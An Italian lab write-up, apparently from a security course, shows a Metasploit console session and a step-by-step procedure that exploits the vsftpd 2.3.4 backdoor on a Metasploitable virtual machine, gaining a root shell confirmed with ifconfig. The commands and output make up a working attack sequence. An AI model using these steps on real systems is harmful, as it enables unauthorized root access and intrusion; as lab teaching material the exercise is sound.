

HACKING CON METASPLOIT

```
File Actions Edit View Help
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      no                no        The local client address
  CPORT      no                no        The local client port
  Proxies    no                no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     yes               yes       The target host(s), see https://docs.metasploit.com/docs/using-
  -metasploit/basics/using-metasploit.html
  RPORT      21                yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.40:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.40:21 - USER: 331 Please specify the password.
[+] 192.168.1.40:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.40:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.25:42053 -> 192.168.1.40:6200) at 2024-05-21 13:55:25 +0200

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:cf:71:97
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fecf:7197/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:233 errors:0 dropped:0 overruns:0 frame:0
          TX packets:256 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:17805 (17.3 KB)  TX bytes:26364 (25.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:742 errors:0 dropped:0 overruns:0 frame:0
          TX packets:742 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:313707 (306.3 KB)  TX bytes:313707 (306.3 KB)
```

Obiettivo

L'obiettivo di questo esercizio è creare una backdoor su una macchina virtuale Metasploitable per garantire un accesso persistente utilizzando il framework Metasploit. Per raggiungere questo scopo, abbiamo utilizzato l'exploit unix/ftp/vsftpd_234_backdoor.

- Procedura
- Avvio di Metasploit Console Per iniziare, avviamo la console di Metasploit sulla nostra macchina Kali Linux con il comando: ‘msfconsole’
- Caricamento dell'Exploit Successivamente, carichiamo l'exploit specifico per la vulnerabilità del servizio FTP di VSFTPD versione 2.3.4. Questo exploit sfrutta una backdoor presente in questa versione del software FTP.

use unix/ftp/vsftpd_234_backdoor

- Configurazione del Target Configuriamo l'indirizzo IP della macchina Metasploitable come target dell'exploit. Utilizziamo il comando set per assegnare il valore corretto al parametro RHOSTS.

set RHOSTS 192.168.1.40

- Esecuzione dell'Exploit Una volta configurato il target, lanciamo l'exploit per ottenere l'accesso alla macchina Metasploitable

exploit

- Verifica dell'Accesso Dopo l'esecuzione dell'exploit, se l'attacco ha successo, otteniamo una shell sulla macchina Metasploitable. Per verificare l'accesso e confermare che siamo effettivamente entrati nel sistema target, eseguiamo il comando ifconfig all'interno della shell ottenuta.

ifconfig

- Analizzando l'output, possiamo vedere che l'indirizzo IP della macchina sulla quale siamo connessi è quello della macchina Metasploitable e non della nostra macchina Kali Linux. Questo conferma che abbiamo ottenuto l'accesso al sistema target.